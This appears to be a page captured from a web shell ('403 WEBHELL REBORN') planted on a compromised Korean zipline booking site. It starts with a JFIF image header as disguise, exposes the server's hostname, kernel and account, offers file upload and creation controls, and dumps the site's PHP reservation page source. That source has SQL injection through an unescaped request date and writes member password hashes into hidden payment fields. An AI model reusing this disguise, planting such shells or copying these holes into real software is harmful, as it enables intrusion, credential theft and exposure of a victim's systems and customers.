ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/skin/board/reservation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/skin/board/reservation/list.skin.php
<?
if (!defined("_GNUBOARD_")) exit; // 개별 페이지 접근 불가



$search_date1 = explode("-",$search_value2);
$search_inwon = $search_date1[0].$search_date1[1].$search_date1[2];

// 선택옵션으로 인해 셀합치기가 가변적으로 변함
$colspan = 5;

if ($is_checkbox) $colspan++;
if ($is_good) $colspan++;
if ($is_nogood) $colspan++;



	if($member['mb_2']=="G") { //골드일경우 4인까지 20% 할인
		if ($mcnt <= 4) {
			$Amount = $mcnt*44000;
		} else if ($mcnt > 4) {
			$Amount = 4*44000 + ($mcnt - 4)*55000;
		}


	} else if($member['mb_5']=="Y") { //문경시민일경우 4인까지 무조건 20%
		if ($mcnt <= 4) {
			$Amount = $mcnt*44000;
		} else if ($mcnt > 4) {
			$Amount = 4*44000 + ($mcnt - 4)*55000;
		}


	} else if($member['mb_2']=="S") { //실버일경우 4인까지 10% 할인
		if ($mcnt <= 4) {
			$Amount = $mcnt*49500;
		} else if ($mcnt > 4) {
			$Amount = 4*49500 + ($mcnt - 4)*55000;
		}

	} else if($member['mb_2']=="M") { //마스터일경우 본인 무료 3인까지 10% 할인
		if ($mcnt <= 4) {
			$Amount = ($mcnt-1)*49500;
		} else if ($mcnt > 4) {
			$Amount = 3*49500 + ($mcnt - 4)*55000;
		}

	} else { //일반회원은 5만원
		$Amount = $mcnt*55000;
	}


?>


<script type="text/javascript">
	function Smode_tmpChange(str) {
		document.payform.Smode_tmp.value = str;
	}

	function setTime(time1,time2){
		var form				=	document.payform;
		var Smode_tmp	=	document.payform.Smode_tmp.value;
		var MSTR			=	form.MSTR;
		var MSTR2			=	form.MSTR2;
		var email				=	"<?=$member['mb_email']?>";

		//document.payform.Smode_tmp.value		=	Smode_tmp.value;
		//alert(document.payform.Smode_tmp.value);
		MSTR.value		=	MSTR.value+"|"+time1+"|"+time2+"|"+email;

		MSTR2.value		=	MSTR2.value+"|"+time1+"|"+time2+"|"+email;
		reqPayment();
	}
	function geust(time1,time2){

	}
</script>
<div class="location">
	<dl>
	<dt class="blind">현재위치</dt>
	<dd><img src="/img/common/location_home.gif" width="11" height="11" alt="Home" />&nbsp;&nbsp;<span>|</span>&nbsp;&nbsp;짚라인 문경&nbsp;&nbsp;<span>|</span>&nbsp;&nbsp;<span class="lc">짚라인 예약하기</span></dd>
	</dl>
</div>
<p class="title"><img src="/img/sub/title_03_04.gif" width="750" height="55" alt="짚라인 예약하기-백두대간의 중심에서 즐기는 짚라인 예약하기" /></p>
<p><img src="/img/sub/visual_02_04.jpg" width="750" height="175" alt="문경짚라인이 새로운 경험의 세계로 여러분을 초대합니다." /></p>
<!-- S:	서브 내용 -->
<div id="s2_04" class="sub_common">
	<p><img src="/img/b_sub2/reserv_message.gif" width="440" height="40" alt="온라인 예약을 통해서 간편하게 예약을 하신후 예약한 시간에 문경에서 즐기시면 됩니다. 짚라인 예약을 위해서는 로그인이 꼭 필요합니다." /></p>
	<div class="mem_info">
	<ul>
		<li class="red">
			<strong><?=$member[mb_name]?></strong>님은 짚라인의 소중한
			<span class="yellow"><strong>
			<?
			if($member[mb_2] == "I"){
				echo "일반회원";
			}else if($member[mb_2] == "S"){
				echo "실버회원";
			}else if($member[mb_2] == "G"){
				echo "골드회원";
			}else if($member[mb_2] == "M"){
				echo "마스터회원";
			}
			?>
			</strong></span>이십니다.
		</li>
		<li class="gray">짚라인을 1회 탑승 후 멤버쉽카드가 발급되며 <strong>ZippySilver</strong>회원이 되실 수 있습니다.</li>
	</ul>
	</div>
	<div class="mem_message">
	<ul>
		<li>-문경시민(주민등록증 또는 학생증 확인) 탑승 시 20% 할인(본인에 한함)</li>
		<li>-장애우/국가유공자(관련증명서확인) 50% 할인(본인에 한함)</li>
		<li>-군경할인 50% 할인(본인에 한함)</li>
		<li>-단체 10명 이상 10% 할인, 30명 이상 전화상담 요망</li>
		<li>-중복할인은 되지 않습니다. 온라인 결제 시 현장에서 확인 후 환급할인 해 드립니다.</li>
	</ul>
	</div>
	<!-- S : 검색 -->
	<div class="reserv_search">
		<form name="fsearch" method="get">
		<input type="hidden" name="bo_table" value="<?=$bo_table?>">
		<input type="hidden" name="sca" value="<?=$sca?>">
		<input type="hidden" name="sfl" value="wr_link1">
		<input type="hidden" name="stx" value="<?=$stx?>">
		<ul>
			<li>
				<dl>
					<dt><img src="/img/b_sub2/reserv_date.gif" width="46" height="15" alt="예약날짜" /></dt>
					<dd>
						<input type="text" name="search_value2" id="search_value2" value="<?=$search_value2?>"  onclick="aChimCalendar.Show(document.getElementById('search_value2'), isGetAbsoluteLeft(this), isGetAbsoluteTop(this));" style="cursor:pointer"  maxlength="10" readonly="readonly" class="inp-reserv" />
						<script type="text/javascript">
						//<![CDATA[
						var aChimCalendar = new wDatePickerCtrl("aChimCalendar","<?=$g4['path']?>/img/common");
						aChimCalendar.Init();
						//]]>
						</script>
					</dd>
				</dl>
				<dl>
					<dt><img src="/img/b_sub2/reserv_pay.gif" width="46" height="15" alt="결제방법" /></dt>
					<dd>
					<input type="radio" id="Smode_tmp"  name="Smode_tmp" value="3007" <? if ($Smode_tmp=="3007" || !$Smode_tmp) { ?>checked<? } ?> onClick="Smode_tmpChange('3007');"><span class="pay"> 신용카드결제</span> &nbsp;&nbsp;
					</dd>
				</dl>
				<!-- <? $search_date1 = explode("-",$search_value2);
$search_inwon = $search_date1[0].$search_date1[1].$search_date1[2];
?> -->
				<dl>
					<dt><img src="/img/b_sub2/reserv_inwon.gif" width="46" height="15" alt="예약인원" /></dt>
					<dd>
						<select name="mcnt">
						<!-- <?for($in=1; $in < 13; $in++){?>
						<option value="<?=$in?>"  <?if($in == $mcnt)echo "selected='selected'"?>><?=$in?></option>
						<?}?> -->

						<? if (substr($search_value2,5,2) != "12" and substr($search_value2,5,2) != "01" and substr($search_value2,5,2) != "02"  and substr($search_value2,5,2) != "03"){?>
							<?for($in=1; $in < 11; $in++){?>
								<option value="<?=$in?>"  <?if($in == $mcnt)echo "selected='selected'"?>><?=$in?></option>
							<?}?>
						<?}else{?>
							<?for($in=1; $in < 13; $in++){?>
								<option value="<?=$in?>"  <?if($in == $mcnt)echo "selected='selected'"?>><?=$in?></option>
							<?}?>
						<?}?>
						</select> 명
					</dd>
					<dd><input type="image" src="/img/b_sub2/reserv_btnSearch.gif" border='0' align="absmiddle" title="예약조회" class="serbt" /></dd>
				</dl>
			</li>
		</ul>
		<input type="hidden" name="sop" value="and">
		<input type="hidden" name="sop" value="or">
		</form>
	</div>
	<!-- E : 검색 -->

	<!-- S :	결제값 넘겨주기 -->
	<div id="reserv_group_wrap">
		<form name="payform" method="post" accept-charset="EUC-KR">
		<!-------------------------------------------------------------- 결제 설정-------------------------------------------------------------->
		<!-- 결제 결과의 REDIRPATH 페이지 전송을 위한 parameter 시작 (수정하지 말것) -->
		<input type="hidden" name="ReplyCode" value="">
		<input type="hidden" name="ReplyMessage" value="">
		<input type="hidden" name="AppSmode" value="">
		<input type="hidden" name="CcCode" value="">
		<input type="hidden" name="AppInstallment" value="">
		<input type="hidden" name="TxNO" value="">
		<!-- 결제 결과의 REDIRPATH 페이지 전송을 위한 parameter 끝 -->
		<!-- 공통 parameter 설정 시작 -->
		<input type="hidden" name="MxID" value="zipline"> <!-- 가맹점 ID   zipline-->
		<input type="hidden" name="MxIssueNO"> <!-- 거래 번호(가맹점 생성) -->
		<input type="hidden" name="MxIssueDate"> <!-- 거래 일자(가맹점 생성, YYYYMMDDhhmmss) -->

		<input type="hidden" name="Amount" value="<?=$Amount?>"> <!-- 거래 금액 <?= $Amount ?>-->


		<input type="hidden" name="Currency" value="KRW"> <!-- 화폐 구분 -->
		<input type="hidden" name="CcMode" value="11"> <!-- 거래 모드(신용카드-'00':데모,'11':실거래 | 기타거래-'10':실거래) -->

		<input type="hidden" name="Smode" value="3001"> <!-- 결제 수단 구분(위의 설명) -->
		<input type="hidden" name="CcProdDesc" value="짚라인 탑승인원 <?=$mcnt?> 명"> <!-- 상품명 -->
		<input type="hidden" name="CcNameOnCard" value="<?=$member[mb_name]?>"> <!-- 구매자 성명 -->
		<input type="hidden" name="MSTR" value="<?=$member[mb_id]?>|<?=$member[mb_password]?>|<?=$member[mb_name]?>|<?=$member[mb_hp]?>|<?=$member[mb_2]?>|<?=$member[mb_3]?>|<?=$member[mb_4]?>|<?=$mcnt?>"><!-- 가맹점 return 값, DBPATH로 전달-->
		<input type="hidden" name="MSTR2" value="<?=$member[mb_id]?>|<?=$member[mb_password]?>|<?=$member[mb_name]?>|<?=$member[mb_hp]?>|<?=$member[mb_2]?>|<?=$member[mb_3]?>|<?=$member[mb_4]?>|<?=$mcnt?>"> <!-- 가맹점 return 값, REDIRPATH로 전달-->

		<input type="hidden" name="URL" value="www.ziplinemungyeong.co.kr"> <!-- 가맹점 서버 URL('http://' 제외, 예:'www.test.com') -->
		<input type="hidden" name="DBPATH" value="/mall/dbpath.php"> <!-- 결과 저장 파일 경로(예:'/mall/dbpath.php') -->
		<input type="hidden" name="REDIRPATH" value="/mall/redirpath.php"> <!-- 결과 화면 파일 경로(예:'/mall/redirpath.php') -->
		<input type="hidden" name="connectionType" value="http"> <!-- 가맹점 서버 프로토콜(http, https) -->

		<input type="hidden" name="bannerImage" value=""> <!-- 결제 창 로고 이미지(124 X 28) 경로 -->
		<input type="hidden" name="signType" value="1"> <!-- 암호화 결정(1:비암호화, 2:암호화-JSP만 해당) -->
		<input type="hidden" name="dbpathType" value=""> <!-- 소켓방식 사용여부('tls':사용) -->
		<input type="hidden" name="tgssl_ip" value=""> <!-- 소켓방식 사용시, 서버 IP -->
		<input type="hidden" name="tgssl_port" value=""> <!-- 소켓방식 사용시, 서버 Port -->
		<input type="hidden" name="dlpSkin" value="03"><!-- 스킨색상 -->

		<input type="hidden" name="Smode1" value=""> <!-- 결제 창에 타 결제 수단 이동 버튼 추가 -->
		<input type="hidden" name="Smode2" value="">
		<input type="hidden" name="Smode3" value="">
		<input type="hidden" name="Smode4" value="">
		<input type="hidden" name="Smode5" value="">
		<input type="hidden" name="Smode6" value="">
		<input type="hidden" name="Smode7" value="">
		<input type="hidden" name="Smode8" value="">
		<!-- 공통 parameter 설정 끝 -->

		<!-- 신용카드 parameter 설정 시작 -->
		<input type="hidden" name="PID" value="7012121234567"> <!-- 사용자 주민등록번호('-' 생략) -->
		<input type="hidden" name="PhoneNO" value="01000000000"> <!-- 사용자 전화번호 -->
		<input type="hidden" name="Country" value="KR"> <!-- 배송지 국가코드('KR') -->
		<input type="hidden" name="ZipCode" value="<?=$member[mb_zip1]."-".$member[mb_zip2]?>"> <!-- 배송지 우편번호 -->
		<input type="hidden" name="Addr" value="<?=$member[mb_addr1]?>"> <!-- 배송지 주소(한글 32자까지) -->
		<input type="hidden" name="AddrExt" value="<?=$member[mb_addr2]?>"> <!-- 배송지 상세주소(한글 32자까지) -->
		<input type="hidden" name="Install" value=""> <!-- 할부개월(기본:전체개월, 예-'0:2:3':3개월까지) -->

		<input type="hidden" name="email" value="<?=$member[mb_email]?>"> <!-- 결제 결과를 전달받을 사용자 email 주소 -->
		<input type="hidden" name="BillType" value="00"> <!-- 출력 영수증 구분('00':과세, '10':비과세) -->
		<input type="hidden" name="InstallType" value="00"> <!-- 가맹점 할부 수수료 부담('00':미부담, '01':부담) -->
		<!-- 신용카드 parameter 설정 끝 -->

		<!-- 계좌이체(금결원) parameter 설정 시작 -->
		<input type="hidden" name="CcProdName" value="짚라인<?= $mcnt ?>명"> <!-- 간략한 상품 정보(한글 5자까지) -->
		<input type="hidden" name="Name" value="<?= $member['mb_name'] ?>"> <!-- 송금인 성명(한글 5자까지) -->
		<!-- 계좌이체(금결원) parameter 설정 끝 -->

		<!-- 가상계좌 parameter 설정 시작 -->
		<input type="hidden" name="CcUserMPhone" value="<?=$member[mb_hp]?>"> <!-- 사용자 휴대폰 번호('-' 생략) -->
		<input type="hidden" name="Email" value="<?=$member[mb_email]?>"> <!-- 구매자 입금안내 메일 주소 -->
		<!-- 가상계좌 parameter 설정 끝 -->
		<input type="hidden" name="Smode_tmp" value="<?= $Smode_tmp ?>">
		<!-------------------------------------------------------------- 결제 설정-------------------------------------------------------------->
		<input type='hidden' name='bo_table' value='<?=$bo_table?>'>
		<input type='hidden' name='sfl'  value='<?=$sfl?>'>
		<input type='hidden' name='stx'  value='<?=$stx?>'>
		<input type='hidden' name='spt'  value='<?=$spt?>'>
		<input type='hidden' name='page' value='<?=$page?>'>
		<input type='hidden' name='sw'   value=''>
		<input type='hidden' name='wr_link1'  value='<?=$search_value2?>'>
		<input type='hidden' name='wr_2' value='<?=$Set_Date?>'>


		<!-- S:	예약 상세 시간 -->
		<?if($search_value2!=""){//조회버튼을 검색후?>




<? if (substr($search_value2,5,2) != "12" and substr($search_value2,5,2) != "01" and substr($search_value2,5,2) != "02"  and substr($search_value2,5,2) != "03"){?>


	<!-- <? echo (substr($search_value2,5,2));?> -->


		<div class="reserv_group">
			<table cellspacing="0" cellpadding="0" class="board_list">
				<col width="155" />
				<col />
				<?
				$set_time				=	array("08","09",10,11,12,13,14,15,16,17,18);
				$set_time_img		=	array("time08.gif","time09.gif","time10.gif","time11.gif","time12.gif","time13.gif","time14.gif","time15.gif","time16.gif","time17.gif","time18.gif");
				$set_time_mimg		=	array("time080.gif","time090.gif","time100.gif","time110.gif","time120.gif","time130.gif","time140.gif","time150.gif","time160.gif","time170.gif","time180.gif");
				for($i=0; $i<count($set_time); $i++){
				?>
				<tr class="bg<?=$bg?>">
					<td style="display:block; float:left; width:155px; height:90px; margin-top:0px; padding:0 0 0 10px; border-bottom:1px solid #ddd;"><img src="/img/b_sub2/<?=$set_time_img[$i];?>" alt="" /></td><!-- 타이틀 시간 -->
					<?


					$set_min			=	array("00","15","30","45");
					$set_min_img			=	array("time01.gif","time25.gif","time30.gif","time45.gif");


					for($k=0; $k<count($set_min); $k++){
					$Set_Date = $set_time[$i].":".$set_min[$k];
					?>
					<td class="de_time">
						<img src="/img/b_sub2/<?=$set_time_mimg[$i];?>" alt="" /><img src="/img/b_sub2/<?=$set_min_img[$k];?>" alt="" /><br/><!-- 시간과 분 -->
						<?
						$search_value = explode("-",$search_value2);
						$search_Time = $search_value[0].$search_value[1].$search_value[2];



						//echo $search_value;


						$sql3	=	"select wr_yn,wr_2 From $write_table where wr_link1='$search_Time' and wr_2='".$Set_Date."'";

						$result3	=	mysql_query($sql3);
						$array3	 =	 mysql_fetch_array($result3);

						//echo $result3;



if($Smode_tmp == '2601'){

$needday = date("Y-m-d",strtotime("+11 day"));
$needday2 = explode("-",$needday);
$needdayall = $needday2[0].$needday2[1].$needday2[2];

//echo $needdayall;
//echo $search_Time;



if($needdayall > $search_Time){

echo("<script>");
echo("alert('당일로부터 10일 이내의 예약은 카드결제 또는 실시간 계좌이체를 이용하시기 바랍니다.');");
echo("location.href='../bbs/board.php?bo_table=re_reserv';");
echo("</script>");

}
}


						if($array3[wr_yn] == 'N'){
							echo "예약하실수 없습니다.";
						}else{
							$sql2	=	"select wr_2,Sum(wr_3) wr_3 From $write_table where $sql_search and (wr_2='".$Set_Date."') Group By wr_2 $sql_order";
							$result2	=	mysql_query($sql2);
							$array2	 =	 mysql_fetch_array($result2);

							//echo $sql2;

							if($search_Time == '20120630'){




							$Nor_inwon2 = 38 - $array2[wr_3];

						}else{
							$Nor_inwon2 = 12 - $array2[wr_3];

							}


							//$Nor_inwon2 = 12 - $array2[wr_3];
							$result	=	mysql_query($sql);

							$today=mktime();
							$Today_date = date('YmdHi', $today);

							$Vdate = $search_value[0].$search_value[1].$search_value[2].$set_time[$i].$set_min[$k];
							?>
							<?if($Vdate > $Today_date){ //예약날 > 현재날 ?>
								<?if($Set_Date == "08:00" or $Set_Date == "08:15" or $Set_Date == "08:30"  or $Set_Date == "08:45" or $Set_Date == "17:30" or $Set_Date == "17:45" or $Set_Date == "18:00" or $Set_Date == "18:15" or $Set_Date == "18:30" or $Set_Date == "18:45"){?>
									<span style="font-size:11px; color:#db0200; letter-spacing:-1px; line-height:20px; margin:0 0 0 5px">예약불가</span><p>&nbsp;</p>
								<?}else{?>
									<?if(($array2[wr_3] < 10) && ($Nor_inwon2 >= $mcnt)){ //예약인원이 10명 보다 작을때 ?>
										<span style="color:#6b6d70;">가능인원 : <strong><span class="whine_red"><?=$Nor_inwon2;?></span></strong>명 <img src="/img/b_sub2/btn_reserv.gif" width="63" height="22" alt="예약하기" align="middle" OnClick="setTime('<?=$search_Time?>','<?=$Set_Date?>')" style="cursor:pointer;border:0;"/></span>
									<?}else{?>
										<span style="font-size:11px; color:#db0200; letter-spacing:-1px; line-height:20px; margin:0 0 0 5px">예약마감</span>
									<?}?>
								<?}?>
							<?}else{?>
								<span style="font-size:11px; color:#ccc; letter-spacing:-1px;  line-height:20px;">예약시간이지남</span>
							<?}?>
						<?}?>
					</td>
					<?} // for($k=0;?>
				</tr>
				<? } // for($i=0; ?>
			</table>
		</div>
		<!-- E:	예약 상세 시간 -->
	<?}else{?>
		<div class="reserv_group">
			<table cellspacing="0" cellpadding="0" class="board_list">
				<col width="155" />
				<col />
				<?
				$set_time				=	array("08","09",10,11,12,13,14,15,16,17,18);
				$set_time_img		=	array("time08.gif","time09.gif","time10.gif","time11.gif","time12.gif","time13.gif","time14.gif","time15.gif","time16.gif","time17.gif","time18.gif");
				$set_time_mimg		=	array("time080.gif","time090.gif","time100.gif","time110.gif","time120.gif","time130.gif","time140.gif","time150.gif","time160.gif","time170.gif","time180.gif");
				for($i=0; $i<count($set_time); $i++){
				?>
				<tr class="bg<?=$bg?>">
					<td valign="middle" style="display:block; float:left; width:155px; height:90px; padding:0 0 0 10px; border-bottom:1px solid #ddd;"><img src="/img/b_sub2/<?=$set_time_img[$i];?>" alt="" /></td><!-- 타이틀 시간 -->
					<?

					$yoil = date("w", strtotime($search_value2));
					if( $yoil == 0 || $yoil == 5 || $yoil == 6){
						$set_min			=	array("00","30");
						$set_min_img			=	array("time01.gif","time30.gif");
					}else{
						$set_min			=	array("00");
						$set_min_img			=	array("time01.gif");
					}

					for($k=0; $k<count($set_min); $k++){
					$Set_Date = $set_time[$i].":".$set_min[$k];
					?>
					<td class="de_time">
						<img src="/img/b_sub2/<?=$set_time_mimg[$i];?>" alt="" /><img src="/img/b_sub2/<?=$set_min_img[$k];?>" alt="" /><br/><!-- 시간과 분 -->
						<?
						$search_value = explode("-",$search_value2);
						$search_Time = $search_value[0].$search_value[1].$search_value[2];
						$sql3	=	"select wr_yn,wr_2 From $write_table where wr_link1='$search_Time' and wr_2='".$Set_Date."'";

						$result3	=	mysql_query($sql3);
						$array3	 =	 mysql_fetch_array($result3);



if($Smode_tmp == '2601'){
$needday = date("Y-m-d",strtotime("+11 day"));
$needday2 = explode("-",$needday);
$needdayall = $needday2[0].$needday2[1].$needday2[2];
//echo $needdayall;
//echo $search_Time;
	if($needdayall > $search_Time){
		echo("<script>");
		echo("alert('당일로부터 10일 이내의 예약은 카드결제 또는 실시간 계좌이체를 이용하시기 바랍니다.');");
		echo("location.href='../bbs/board.php?bo_table=re_reserv';");
		echo("</script>");
	}
}


						if($array3[wr_yn] == 'N'){
							echo "예약하실수 없습니다.";
						}else{
							$sql2	=	"select wr_2,Sum(wr_3) wr_3 From $write_table where $sql_search and (wr_2='".$Set_Date."') Group By wr_2 $sql_order";
							$result2	=	mysql_query($sql2);
							$array2	 =	 mysql_fetch_array($result2);

							if($search_Time == '20120630'){
								$Nor_inwon2 = 38 - $array2[wr_3];
							}else{
								$Nor_inwon2 = 12 - $array2[wr_3];
							}


							//$Nor_inwon2 = 12 - $array2[wr_3];
							$result	=	mysql_query($sql);

							$today=mktime();
							$Today_date = date('YmdHi', $today);

							$Vdate = $search_value[0].$search_value[1].$search_value[2].$set_time[$i].$set_min[$k];
							?>
							<?if($Vdate > $Today_date){ //예약날 > 현재날 ?>


						<?if($Set_Date == "08:00" or $Set_Date == "08:30" or $Set_Date == "08:40" or $Set_Date == "16:40" or $Set_Date == "17:00" or $Set_Date == "17:30" or $Set_Date == "17:40" or $Set_Date == "18:00" or $Set_Date == "18:30" or $Set_Date == "18:40"){?>


							<span style="font-size:11px; color:#db0200; letter-spacing:-1px; line-height:20px; margin:0 0 0 5px">예약불가</span><p>&nbsp;</p>



						<? } else if ( (substr($search_value2,5,2) == "12" or substr($search_value2,5,2) == "01" or substr($search_value2,5,2) == "02")  and ( date("w",strtotime($search_value2)) == "1" or date("w",strtotime($search_value2)) == "2" or date("w",strtotime($search_value2)) == "3" or date("w",strtotime($search_value2)) == "4" or date("w",strtotime($search_value2)) == "5" ) and (substr($Set_Date,3,2) == "20" or substr($Set_Date,3,2) == "40" ) ){?>


							<span style="font-size:11px; color:#db0200; letter-spacing:-1px; line-height:20px; margin:0 0 0 5px">예약불가</span><p>&nbsp;</p>







						<?} else {?>



								<?if(($array2[wr_3] < 10) && ($Nor_inwon2 >= $mcnt)){ //예약인원이 10명 보다 작을때 ?>
									<span style="color:#6b6d70;">가능인원 : <strong><span class="whine_red"><?=$Nor_inwon2;?></span></strong>명 <img src="/img/b_sub2/btn_reserv.gif" width="63" height="22" alt="예약하기" align="middle" OnClick="setTime('<?=$search_Time?>','<?=$Set_Date?>')" style="cursor:pointer;border:0;"/></span>
								<?}else{?>
									<span style="font-size:11px; color:#db0200; letter-spacing:-1px; line-height:20px; margin:0 0 0 5px">예약마감</span>
								<?}?><?}?>
							<?}else{?>
								<span style="font-size:11px; color:#ccc; letter-spacing:-1px;  line-height:20px;">예약시간이지남</span>
							<?}?>
						<?}?>
					</td>
					<?} // for($k=0;?>
				</tr>
				<? } // for($i=0; ?>
			</table>
		</div>
		<!-- E:	예약 상세 시간 -->




<?}?><?}?>









		</form>
	</div>
	<!-- E :	결제값 넘겨주기 -->
	<div class="ziplineCommInfo">
		<ul>
			<li class="fir">
				<dl>
				<dt><img src="/img/b_sub2/ziplineInfo_title1.gif" width="135" height="40" alt="이용가능한 시간은?" /></dt>
				<dd><img src="/img/b_sub2/ziplineInfo_txt1_1.gif" width="171" height="54" alt="동절기 | 09:00~17:00 하절기 | 09:00~18:00 (출발시간 기준, 매20분간격)" /></dd>
				<dd><img src="/img/b_sub2/ziplineInfo_txt1_2.gif" width="156" height="28" alt="연중무휴로 운영되며, 기상 여건등에 따라 탑승시간이 조정될 수 있습니다." /></dd>
				</dl>
			</li>
			<li class="sec">
				<dl>
				<dt><img src="/img/b_sub2/ziplineInfo_title2.gif" width="135" height="40" alt="탑승복장은 이렇게!" /></dt>
				<dd><img src="/img/b_sub2/ziplineInfo_txt2_1.gif" width="218" height="47" alt="머리가 긴 고객님께서는 머리를 묶어주세요. 발 전체가 가려지는 신발을 착용해주세요.(샌들,하이힐 등 불가)" /></dd>
				<dd><img src="/img/b_sub2/ziplineInfo_txt2_2.gif" width="207" height="32" alt="무릎 길이 이상의 바지를 착용하여 주세요(치마불가)" /></dd>
				</dl>
			</li>
			<li class="last">
				<dl>
				<dt><img src="/img/b_sub2/ziplineInfo_title3.gif" width="116" height="40" alt="이런분은 안돼요!" /></dt>
				<dd><img src="/img/b_sub2/ziplineInfo_txt3.gif" width="160" height="84" alt="몸무게 30kg이하 ,130kg이상, 임산부, 심신허약자, 심장질환자, 기타 근골격계 이상이 있으신분, 고도의 비행 또는 고소공포증이 있으신 분, 음주하신 분" /></dd>
				</dl>
			</li>
		</ul>
	</div>
	<div class="return">
	<dl>
		<dt class="price_title"><img src="/img/b_sub2/price_title4.gif" width="162" height="24" alt="예약/환불 규정안내" /></dt>
		<dd class="price_text"><img src="/img/b_sub2/refund_txt.gif" width="663" height="32" alt="짚라인 문경은 한정된 시간 및 인원을 통해 예약 시간에 맞는 스케줄링에 의해 운영되고 있습니다. 갑작스런 예약 취소로 인해 손실되는 비용 및 타 예약 불가상황을 막기위해 부득이하게 예약,환불에 대한 규정을 두고 진행하고 있습니다." /></dd>
		<dd>
		<table cellpadding="0'" cellspacing="0" border="0" summary="단체할인 Table" class="membership_tbl">
		<caption>단체할인 Table</caption>
		<colgroup>
		<col width="147px" />
		<col width="133px" /><col width="133px" /><col width="133px" /><col width="133px" />
		</colgroup>
		<thead>
		<tr>
			<th class="th1"><img src="/img/b_sub2/refund_title1.gif" width="60" height="15" alt="탑승일기준" /></th>
			<th class="th2"><img src="/img/b_sub2/refund_day6.gif" width="66" height="23" alt="6일전" /></th>
			<th class="th3"><img src="/img/b_sub2/refund_day5.gif" width="66" height="23" alt="5일전" /></th>
			<th class="th3"><img src="/img/b_sub2/refund_day4.gif" width="66" height="23" alt="4일전" /></th>
			<th class="th4"><img src="/img/b_sub2/refund_day3.gif" width="66" height="23" alt="3일전" /></th>
		</tr>
		</thead>
		<tbody>
		<tr>
			<td class="td1_th"><img src="/img/b_sub2/refund_title2.gif" width="50" height="15" alt="환불기준" /></td>
			<td class="td1_dash"><img src="/img/b_sub2/refund_per100.gif" width="62" height="14" alt="100%환불" /></td>
			<td class="td1_dash"><img src="/img/b_sub2/refund_per50.gif" width="54" height="14" alt="50%환불" /></td>
			<td class="td1_dash"><img src="/img/b_sub2/refund_per30.gif" width="54" height="14" alt="30%환불" /></td>
			<td class="td1_dash"><img src="/img/b_sub2/refund_per0.gif" width="50" height="14" alt="환불불가" /></td>
		</tr>
		</tbody>
		</table>
		</dd>
		<dd class="price_text"><img src="/img/b_sub2/refund_txt2.gif" width="575" height="29" alt="탑승예약시간 30분전까지 도착완료 하셔야 하며 탑승예약시간이 지나 도착하는 경우 환불이 불가하오니 반드시 시간을 엄수하여 주세요. 천재지변(낙뢰,폭우 등의 자연재해)로 인하여 코스 운영이 불가능할 경우 100% 환불하여 드립니다." /></dd>
	</dl>
	</div>
</div>
<!-- E:	서브 내용 -->

Anon7 - 2021